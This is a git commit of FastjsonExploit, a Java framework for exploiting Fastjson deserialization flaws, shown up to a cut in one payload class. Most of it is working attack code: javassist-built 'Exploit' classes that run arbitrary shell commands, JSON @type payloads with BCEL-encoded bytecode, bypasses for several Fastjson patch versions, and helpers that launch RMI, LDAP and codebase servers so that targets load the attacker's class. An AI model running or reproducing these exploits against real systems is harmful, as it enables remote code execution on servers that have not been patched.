提一次提交

This commit is contained in:
c0ny1
2019-07-20 13:31:08 +08:00
commit aaf3f95f61
53 changed files with 1985 additions and 0 deletions

1
.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
# Created by .ignore support plugin (hsz.mobi)

2
FastjsonExploit.iml Normal file
View File

@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4" />

59
README.md Normal file
View File

@@ -0,0 +1,59 @@
Fastjson漏洞快速利用框架
## 0x01 Introduce
FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架主要功能如下
1. 一键生成利用payload并启动所有利用环境。
2. 管理Fastjson各种payload当然是立志整理所有啦目前6个类共11种利用及绕过
## 0x02 Buiding
Requires Java 1.7+ and Maven 3.x+
```mvn clean package -DskipTests```
## 0x03 Usage
```
.---- -. -. . . .
( .',----- - - ' '
\_/ ;--:-\ __--------------------__
__U__n_^_''__[. |ooo___ | |_!_||_!_||_!_||_!_| |
c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
,_\___________'_|,L______],|______________________|
/;_(@)(@)==(@)(@) (o)(o) (o)^(o)--(o)^(o)
FastjsonExploit is a Fastjson library vulnerability exploit framework
Author:c0ny1<root@gv7.me>
Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"
Available payload types:
Payload PayloadType VulVersion Dependencies
------- ----------- ---------- ------------
BasicDataSource1 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
BasicDataSource2 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl1 jndi 1.2.2.1-1.2.2.4
JdbcRowSetImpl2 jndi 1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass
JdbcRowSetImpl3 jndi 1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass
JdbcRowSetImpl4 jndi 1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass
JdbcRowSetImpl5 jndi 1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass
JndiDataSourceFactory1 jndi 1.2.2.1-1.2.2.4 ibatis-core:3.0
SimpleJndiBeanFactory1 jndi 1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE
TemplatesImpl1 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
TemplatesImpl2 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
```
## 0x04 Reference
* https://github.com/frohoff/ysoserial
* https://github.com/mbechler/marshalsec
* https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

BIN
out/.DS_Store vendored Normal file

Binary file not shown.

Binary file not shown.

161
pom.xml Normal file
View File

@@ -0,0 +1,161 @@
<?xml version="1.0"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd"
xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>me.gv7.tools</groupId>
<artifactId>FastjsonExploit</artifactId>
<version>0.1-beta2</version>
<packaging>jar</packaging>
<name>FastjsonExploit</name>
<url>http://github.com/c0ny1/FastjsonExploit</url>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.5.1</version>
<configuration>
<!-- maximize compatibility -->
<source>1.7</source>
<target>1.7</target>
<!-- ignore noisy internal api warnings -->
<compilerArgument>-XDignore.symbol.file</compilerArgument>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.19.1</version>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>FastjsonExploit</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<!-- for LDAP bypass -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
</dependency>
<!-- for LDAP reference server -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-core</artifactId>
<version>3.0</version>
</dependency>
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.io</artifactId>
<version>2.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.directory.studio/org.apache.commons.codec -->
<dependency>
<groupId>org.apache.directory.studio</groupId>
<artifactId>org.apache.commons.codec</artifactId>
<version>1.8</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<!--<version>9.0.8</version>-->
<version>7.0.0</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>
<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
</dependencies>
</project>

BIN
src/.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -0,0 +1,75 @@
import payloads.ObjectPayload;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;
import util.Strings;
import java.lang.reflect.Method;
import java.util.*;
/*
注意在运行请为了能提高成功率清在目标jdk版本以下的运行FastjsonExploit
*/
public class FastjsonExploit {
private static void printUsage() {
//http://www.fuhaoku.com/fuhaotuan/185.html
JarFileReader jfr = new JarFileReader();
String banner = jfr.read("banner");
System.err.println(banner);
System.err.println("Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]");
System.err.println("Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit \"cmd:calc\"");
System.err.println("Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit \"code:custom_code.java\"");
System.err.println("Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 \"cmd:calc\"");
System.err.println("Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 \"code:custom_code.java\"");
System.err.println("\nAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload","PayloadType", "VulVersion", "Dependencies"});
rows.add(new String[] {"-------","-----------", "----------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(PayloadType.Utils.getPayloadTypes(payloadClass)), ", ", "", ""),
Strings.join(Arrays.asList(VulVersion.Utils.getVulVersion(payloadClass)),", ","",""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
}
public static void main(String[] args) {
if(args.length <= 0){
printUsage();
System.exit(0);
}
String payloadName = "payloads." + args[0].trim();
boolean flag = false;
final List<Class<? extends ObjectPayload>> payloadClasses = new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
for(Class<? extends ObjectPayload> payloadClasse:payloadClasses){
if(payloadName.equals(payloadClasse.getName())){
try {
Method m = payloadClasse.getDeclaredMethod("process", String[].class);
m.invoke(payloadClasse.newInstance(),new Object[]{args});
} catch (Exception e) {
e.printStackTrace();
}
flag = true;
}
}
if(!flag){
System.out.println("[*] The input payload does not exist!");
}
}
}

View File

@@ -0,0 +1,3 @@
Manifest-Version: 1.0
Main-Class: FastjsonExploit

View File

@@ -0,0 +1,4 @@
package gadget;
public class BasicDataSource1 {
}

View File

@@ -0,0 +1,6 @@
package gadget;
public class Default {
public Default() {
}
}

View File

@@ -0,0 +1,187 @@
package gadget;
import javassist.*;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class Gadget {
public static String getInsertCode(String command){
String source = "";
String cmd = "";
if (command.startsWith("code:")) {
String codefile = command.substring(5);
try
{
File file = new File(codefile);
if (file.exists())
{
FileReader reader = new FileReader(file);
BufferedReader br = new BufferedReader(reader);
StringBuffer sb = new StringBuffer("");
String line = "";
while ((line = br.readLine()) != null)
{
sb.append(line);
sb.append("\r\n");
}
cmd = sb.toString();
}
else
{
System.err.println(String.format("[-] %s is not exists!", new Object[] { codefile }));
System.exit(0);
}
//System.err.println("----------------------------------Java code start----------------------------------");
//System.err.println(cmd);
//System.err.println("-----------------------------------Java code end-----------------------------------");
source = cmd;
}
catch (IOException e) {
e.printStackTrace();
}
}
else if(command.startsWith("cmd:")){
cmd = command.substring(4).replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"");
String tpl = "try {\n" +
" String cmd = \"" + cmd + "\";\n" +
" String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"win\")\n" +
" ? new String[]{\"cmd\", \"/c\", cmd}\n" +
" : new String[]{\"/bin/bash\", \"-c\", cmd};\n" +
" java.lang.Process pc = Runtime.getRuntime().exec(cmds);\n" +
" pc.waitFor();\n" +
" }catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }";
source = tpl;
}
return source;
}
public static byte[] getJdbcRowSetImplExpCode(String command){
try {
String code = getInsertCode(command);
ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get(Default.class.getName());
clazz.setName("Exploit");
CtConstructor ctConstructor = clazz.getDeclaredConstructor(null);
code = String.format("{%s}",code);
ctConstructor.setBody(code);
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
public static byte[] getJndiDataSourceFactory1ExpCode(String command) {
try {
String code = getInsertCode(command);
ClassPool classPool = ClassPool.getDefault();
// 获取class
//System.out.println("ClassName: " + DasicDataSource.class.getName());
final CtClass clazz = classPool.get(JndiDataSourceFactory1.class.getName());
// // 插入静态代码块,在代码末尾。
// clazz.makeClassInitializer().insertAfter(
// "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"
// );
CtMethod ctMethod = clazz.getDeclaredMethod("getObjectInstance");
code = String.format("{%s\nreturn null;}",code);
//System.out.println(code);
ctMethod.setBody(code);
clazz.setName("Exploit");//类的名称,可以通过它修改。
clazz.writeFile("/tmp");//将生成的.class文件保存到磁盘
// 获取bytecodes
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
public static byte[] getTemplatesImpl1ExpCode(String command){
try {
String code = getInsertCode(command);
ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get(TemplatesImpl1.class.getName());
CtConstructor ctConstructor = clazz.getDeclaredConstructor(null);
ctConstructor.setBody("{}");
code = String.format("{%s}",code);
ctConstructor.setBody(code);
clazz.setName("Exploit");
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
public static byte[] getTemplatesImpl2ExpCode(String command){
try {
String code = getInsertCode(command);
ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get(TemplatesImpl2.class.getName());
CtConstructor ctConstructor = clazz.getDeclaredConstructor(null);
ctConstructor.setBody("{}");
code = String.format("{%s}",code);
ctConstructor.setBody(code);
clazz.setName("Exploit");
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
/**
*
* https://github.com/bit4woo/Java_deserialize_vuln_lab/blob/master/src/Step6EvilClass/createEvilClass.java
*
* @param command
* @return
*/
public static byte[] getBasicDataSource1ExpCode(String command){
try {
String code = getInsertCode(command);
ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get(Default.class.getName());
CtConstructor ci = clazz.makeClassInitializer();
ci.setBody(code);
clazz.setName("Exploit");
final byte[] classBytes = clazz.toBytecode();
return classBytes;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
public static void main(String[] args) {
Gadget.getTemplatesImpl1ExpCode("cmd:ifconfig");
}
}

View File

@@ -0,0 +1,17 @@
package gadget;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 依赖ibatis-core-3.0.jar
*/
public class JndiDataSourceFactory1 implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
return null;
}
}

View File

@@ -0,0 +1,25 @@
package gadget;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImpl1 extends AbstractTranslet {
public TemplatesImpl1(){
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesImpl1 t = new TemplatesImpl1();
}
}

View File

@@ -0,0 +1,25 @@
package gadget;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
public class TemplatesImpl2 extends AbstractTranslet {
public TemplatesImpl2(){
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, org.apache.xml.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesImpl2 t = new TemplatesImpl2();
}
}

View File

@@ -0,0 +1,57 @@
package payloads;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;
import static util.Util.isExpression;
/*
* 只能在tomcat环境
* tomcat-dbcp:9.0.8不成功
* 还依赖commons-dbcp
* */
@PayloadType({PayloadType.LOCAL})
@VulVersion({"1.2.2.1-1.2.2.4"})
@Dependencies({"tomcat-dbcp:tomcat-dbcp:7.x","tomcat-dbcp:tomcat-dbcp:9.x","commons-dbcp:commons-dbcp:1.4"})
public class BasicDataSource1 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 2 && args.length != 3){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar BasicDataSource1 \"[cmd:xxx|code:xxx.java]\"");
return;
}
String expression = args[1].trim();
if(!isExpression(expression)){
System.out.println("[*] Expression:" + expression + "format error eg: \"cmd:calc\" or \"code:custom_code.java\"");
return;
}
try{
JarFileReader jsr = new JarFileReader();
String payload = jsr.read("BasicDataSource1.tpl");
byte[] byteCode = Gadget.getBasicDataSource1ExpCode(expression);
String classname = Utility.encode(byteCode,true);
classname = "$$BCEL$$"+classname;
payload = payload.replace("###EVIL_CODE###", classname);
System.out.println("[*] payload build success!");
System.out.println("\n" + payload + "\n");
if(args.length == 3 && args[2].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parseObject(payload);
}
}catch (Exception e){
e.printStackTrace();
}
}
}

View File

@@ -0,0 +1,105 @@
package payloads;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.PayloadType;
import payloads.annotation.VulVersion;
import util.JarFileReader;
/*
* 只能在tomcat环境
* tomcat-dbcp:9.0.8不成功
* 还依赖commons-dbcp
* */
// 需pom.xml文件中dbcp版本切换成9.x
// 基于 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
// 关于dbcp不带2的是低版本的用法例如7.0.0
// org.apache.tomcat.dbcp.dbcp.BasicDataSource
// 最终使用的是
// org.apache.commons.dbcp.BasicDataSource
@PayloadType({PayloadType.LOCAL})
@VulVersion({"1.2.2.1-1.2.2.4"})
@Dependencies({"tomcat-dbcp:tomcat-dbcp:7.x","tomcat-dbcp:tomcat-dbcp:9.x","commons-dbcp:commons-dbcp:1.4"})
public class BasicDataSource2 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 2 && args.length != 3){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar BasicDataSource2 \"[cmd:xxx|code:xxx.java]\"");
return;
}
try{
String command = args[1].trim();
JarFileReader jsr = new JarFileReader();
String payload = jsr.read("BasicDataSource2.tpl");
byte[] byteCode = Gadget.getBasicDataSource1ExpCode(command);
String classname = Utility.encode(byteCode,true);
classname = "$$BCEL$$"+classname;
payload = payload.replace("###EVIL_CODE###", classname);
System.out.println("[*] payload build success!");
System.out.println("\n" + payload + "\n");
if(args.length == 3 && args[2].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parseObject(payload);
}
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
if(args.length != 1 && args.length != 2){
System.out.println("[*] Usge: java -cp FastjsonExploit-<version>.jar payloads.BasicDataSource2 <rmi/ldap address>");
return;
}
String command = args[0].trim();
System.out.println(command);
try {
String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
// payload2 = "{\n" +
// " \"@type\" : \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
// " \"driverClassLoader\" :\n" +
// " {\n" +
// " \"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
// " },\n" +
// " \"driverClassName\" : \"xxxxxxxxxx\"\n" +
// "}";
// String payload2 = "{\n" +
// " \"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\n" +
// " \"driverClassLoader\": {\n" +
// " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
// " },\n" +
// " \"driverClassName\": \"xxxxxxxxxx\"\n" +
// "}";
//payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
byte[] byteCode = Gadget.getBasicDataSource1ExpCode(command);
String classname = Utility.encode(byteCode,true);
classname = "$$BCEL$$"+classname;
payload2 = payload2.replace("xxxxxxxxxx", classname);
System.out.println(payload2);
if(args.length == 2 && args[1].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parseObject(payload2);
//JSONObject.parseObject(payload2);
}
}catch (Exception e){
e.printStackTrace();
}
}
}

View File

@@ -0,0 +1,67 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@VulVersion({"1.2.2.1-1.2.2.4"})
public class JdbcRowSetImpl1 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JdbcRowSetImpl1.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("\n" + payload + "\n");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,71 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"JdbcRowSetImpl1:Fastjson 1.2.41 bypass"})
@VulVersion({"1.2.2.1-1.2.4.1"})
public class JdbcRowSetImpl2 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl2 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JdbcRowSetImpl2.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,72 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"JdbcRowSetImpl1:Fastjson 1.2.43 bypass"})
@VulVersion({"1.2.2.1-1.2.4.3"})
public class JdbcRowSetImpl3 implements ObjectPayload{
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl3 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JdbcRowSetImpl3.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
}

View File

@@ -0,0 +1,93 @@
package payloads;
import com.alibaba.fastjson.JSON;
import payloads.annotation.PayloadType;
import server.CodebaseServer;
import gadget.Gadget;
import payloads.annotation.Dependencies;
import payloads.annotation.VulVersion;
import util.*;
import static server.LDAPServer.lanuchLDAPServer;
import static server.RMIServer.lanuchRMIregister;
@PayloadType({PayloadType.JNDI})
@Dependencies({"JdbcRowSetImpl1:Fastjson 1.2.42 bypass"})
@VulVersion({"1.2.2.1-1.2.4.2"})
public class JdbcRowSetImpl4 implements ObjectPayload {
@Override
public void process(String[] args) {
if(args.length != 3 && args.length != 4){
System.out.println("[*] Usage: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl4 [rmi/ldap address] [\"cmd:xxx|code:xxx.java\"]");
return;
}
String address = args[1].trim();
String expression = args[2].trim();
if(!AddressParser.isAddress(address)){
Alert.printValidAddress();
return;
}
//Setp01:生成payload
JarFileReader jarFileReader = new JarFileReader();
String payload = jarFileReader.read("JdbcRowSetImpl4.tpl");
payload = payload.replace("###RMI_LDAP_ADDRESS###",address);
System.out.println("[*] payload build success!");
System.out.println("");
System.out.println(payload);
System.out.println("");
//Setp02:生成本地exploit字节码
Common.byteCode = Gadget.getJdbcRowSetImplExpCode(expression);
//Setp03:启动服务
AddressParser ap = new AddressParser();
ap.parser(address);
try {
String server_host = ap.getHost();
Integer service_port = Integer.valueOf(ap.getPort());
int http_port = Util.getUnusePort("127.0.0.1");
CodebaseServer.lanuchCodebaseURLServer(server_host, http_port);
if (ap.getProtocol().equals("rmi")) {
lanuchRMIregister(service_port, server_host, http_port);
} else if (ap.getProtocol().equals("ldap")) {
lanuchLDAPServer(service_port, server_host, http_port);
}
}catch (Exception e){
e.printStackTrace();
System.out.println("FastjsonExploit exit!");
System.exit(0);
}
//Setp04:本地测试解析
if(args.length == 4 && args[3].equals("-exec")){
System.out.println("[*] Try local parsing");
JSON.parse(payload);
}
}
public static void main(String[] args) {
if(args.length != 1 && args.length != 2){
System.out.println("[*] Usge: java -cp FastjsonExploit-<version>.jar payloads.JdbcRowSetImpl4 <rmi/ldap address>");
return;
}
String address = args[0].trim();
if(!AddressParser.isAddress(address)){
System.out.println("[*] address is not rmi or ldap");
return;
}
JarFileReader jarFileReader = new JarFileReader();
